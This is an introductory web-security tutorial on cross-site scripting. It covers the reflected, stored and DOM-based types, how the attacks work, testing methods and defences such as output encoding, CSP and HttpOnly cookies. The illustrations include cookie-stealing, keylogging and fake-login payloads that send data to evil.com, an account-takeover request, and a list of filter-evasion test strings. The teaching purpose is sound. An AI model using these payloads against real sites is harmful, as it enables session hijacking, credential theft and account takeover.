Skip to content
· 8 min read INFO @Sdmrf

Your First Vulnerability: Understanding XSS

Cross-Site Scripting explained from scratch - what it is, the three types, how attackers exploit it, and how to prevent it. With safe practice labs.

On this page

Cross-Site Scripting (XSS) is the most common web vulnerability in the world. OWASP consistently ranks it in the Top 10. It’s also one of the easiest to understand once you see it.

In the previous post, we covered how web apps handle input and output. XSS is what happens when that handling goes wrong.

What Is XSS?

Cross-Site Scripting (XSS) is when an attacker injects JavaScript into a web page that other users view. When those users load the page, the attacker’s JavaScript runs in their browser.

That’s it. Attacker puts script on page → victim’s browser runs it.

Why JavaScript Is Dangerous

JavaScript running in your browser can:

  • Read your cookies (including session cookies)
  • Read anything on the page (passwords in forms, personal data)
  • Make HTTP requests as you (transfer money, change your password)
  • Redirect you to a fake login page
  • Log your keystrokes
  • Modify what you see on the page

When an attacker’s JavaScript runs in your browser, it runs with your session, your cookies, your permissions. The browser doesn’t know it’s not legitimate.

The Basic Idea

Consider a search feature:

You search for: laptops
URL becomes: https://shop.com/search?q=laptops
Page shows: "Results for: laptops"

The app takes your input (laptops) and displays it back on the page. Normal behavior. But what if instead of “laptops,” you type this:

<script>alert('XSS')</script>

If the app doesn’t sanitize the input, the page becomes:

Results for: <script>alert('XSS')</script>

The browser sees a <script> tag, treats it as code, and executes it. An alert box pops up.

An alert box is harmless. But the same injection point accepts any JavaScript. Replace alert('XSS') with code that steals cookies or redirects users, and it’s a real attack.

The Three Types of XSS

1. Reflected XSS

The attacker’s input is immediately “reflected” back in the response. It’s not stored anywhere - it lives in the URL or request.

How it works:

1. Attacker crafts a malicious URL:
   https://shop.com/search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script>

2. Attacker sends the link to a victim (phishing email, message, etc.)

3. Victim clicks the link

4. The server reflects the search query into the page without sanitization

5. Victim's browser executes the injected JavaScript

6. Victim's cookies are sent to evil.com

Key characteristic: The payload is in the URL. It only executes when the victim clicks the crafted link.

Real-world example scenario:

An attacker finds that https://bank.com/error?msg= reflects the msg parameter into the error page. They craft:

https://bank.com/error?msg=<script>fetch('https://evil.com/?c='+document.cookie)</script>

And send it to targets in a phishing email that says “Your account has an issue, click here.”

2. Stored XSS

The attacker’s input is saved in the application’s database and displayed to other users later. This is more dangerous than reflected because it doesn’t require the victim to click a special link.

How it works:

1. Attacker posts a comment on a blog:
   "Great article! <script>fetch('https://evil.com/?c='+document.cookie)</script>"

2. The server stores the comment in the database

3. When ANY user views that page, the comment is loaded from the database
   and rendered in the HTML

4. Every visitor's browser executes the JavaScript

5. Every visitor's cookies are stolen

Key characteristic: The payload is stored on the server. Every user who views the page is affected automatically.

Where stored XSS commonly appears:

  • Comments and forum posts
  • User profiles (name, bio, status)
  • Messages and chat
  • Product reviews
  • Any user-generated content that’s displayed to others

3. DOM-Based XSS

The payload never reaches the server. JavaScript on the client side reads user input (from the URL, usually) and inserts it into the page unsafely.

How it works:

// Vulnerable client-side code:
const search = new URLSearchParams(window.location.search).get('q');
document.getElementById('results').innerHTML = 'Results for: ' + search;

The innerHTML takes whatever is in the URL parameter q and puts it directly into the page as HTML. No server involved - the browser does it all.

Key characteristic: The vulnerability is in the client-side JavaScript, not the server code.

Comparison

TypePayload LocationPersistenceReach
ReflectedIn the URL/requestNone - one-timeVictim must click crafted link
StoredIn the databasePermanent until removedEvery user who views the page
DOM-BasedIn the URL, processed client-sideNoneVictim must click crafted link

What Attackers Actually Do with XSS

The alert() test proves XSS exists. Real attacks do much more.

// Steal session cookie and send to attacker
fetch('https://evil.com/steal?cookie=' + document.cookie);

If the session cookie doesn’t have the HttpOnly flag, this works. The attacker receives your session cookie, puts it in their browser, and is now logged in as you.

Keylogging

// Log everything the user types
document.addEventListener('keypress', function(e) {
  fetch('https://evil.com/keys?k=' + e.key);
});

Captures every keystroke on the page. Passwords, credit card numbers, messages - everything typed while the malicious script runs.

Page Defacement

// Replace page content with fake login form
document.body.innerHTML = '<h1>Session Expired</h1>' +
  '<form action="https://evil.com/phish">' +
  '<input name="user" placeholder="Username">' +
  '<input name="pass" type="password" placeholder="Password">' +
  '<button>Login</button></form>';

The user sees a convincing “re-login” prompt. They enter credentials, which go straight to the attacker.

Account Takeover

// Change the user's email address (for password reset takeover)
fetch('/api/account/update', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({email: 'attacker@evil.com'})
});

The request runs with the victim’s session. The server sees a legitimate request from a logged-in user. Email changed, password reset to attacker’s email, account taken over.

Finding XSS

Where to Look

Any place where user input appears in the page:

  • Search boxes and search results
  • URL parameters displayed on the page
  • Error messages that include user input
  • User profile fields (names, bios)
  • Comment sections and forums
  • File upload names
  • HTTP headers reflected in responses

Basic Testing

Start with a simple test string:

<script>alert(1)</script>

If an alert pops up, it’s vulnerable. If not, the app might be filtering <script> tags. Try alternatives:

<img src=x onerror=alert(1)>
<svg onload=alert(1)>
"><img src=x onerror=alert(1)>
'><script>alert(1)</script>
javascript:alert(1)

The ">< at the start tries to break out of an HTML attribute. If your input is inside a tag like <input value="YOUR INPUT">, you need to close the attribute and tag first.

Context Matters

Where your input lands determines what payload works:

ContextExamplePayload Approach
HTML body<p>YOUR INPUT</p><script>alert(1)</script>
HTML attribute<input value="YOUR INPUT">" onmouseover="alert(1)
JavaScript stringvar x = 'YOUR INPUT';'; alert(1); '
URL<a href="YOUR INPUT">javascript:alert(1)

Each context requires a different injection technique. This is why automated scanners miss XSS - they don’t always understand the context.

Prevention

For Developers

1. Output Encoding (Most Important)

Encode user data before inserting it into HTML. Convert special characters to their HTML entity equivalents:

CharacterEncoded As
<&lt;
>&gt;
"&quot;
'&#x27;
&&amp;

After encoding, <script>alert(1)</script> becomes &lt;script&gt;alert(1)&lt;/script&gt; - which the browser displays as text instead of executing as code.

Most modern frameworks do this automatically:

  • React: Auto-escapes by default (unless you use dangerouslySetInnerHTML)
  • Angular: Auto-escapes in templates
  • Django: Auto-escapes in templates
  • Rails: Auto-escapes with ERB templates

2. Content Security Policy (CSP)

A response header that tells the browser what scripts are allowed to run:

Content-Security-Policy: script-src 'self'; object-src 'none';

This says: only run scripts from the same domain. Inline scripts and scripts from other domains are blocked. Even if XSS injection succeeds, the browser refuses to execute the injected script.

3. HttpOnly Cookies

Set-Cookie: session=abc123; HttpOnly

JavaScript can’t read HttpOnly cookies. This doesn’t prevent XSS, but it prevents XSS from stealing session cookies.

4. Input Validation

Validate that input matches expected formats. An email field should contain an email. A phone number should contain digits. But don’t rely on this alone - output encoding is the primary defense.

Defense in Depth

No single defense is perfect. Use all of them:

Input Validation → catches obviously wrong input
Output Encoding → prevents injection in HTML
CSP Headers     → blocks unauthorized script execution
HttpOnly Cookies → prevents cookie theft even if XSS exists

Practice Safely

Never test XSS on websites you don’t own. Use these instead:

  • PortSwigger Web Security Academy - Free XSS labs with explanations: portswigger.net/web-security/cross-site-scripting
  • OWASP Juice Shop - Run locally, find XSS challenges
  • DVWA - Classic vulnerable app with difficulty levels
  • HackTheBox - Web challenges featuring XSS

What’s Next

XSS attacks the output side - injecting code into pages. In the next post, we’ll attack the other side: the database. SQL injection lets you talk directly to the database by manipulating input that becomes part of a database query. It’s often more destructive than XSS because it targets the data itself.

References


XSS is the “hello world” of web security. Simple to understand, everywhere in the wild, and endlessly underestimated by developers who think a regex filter is enough.

Related Articles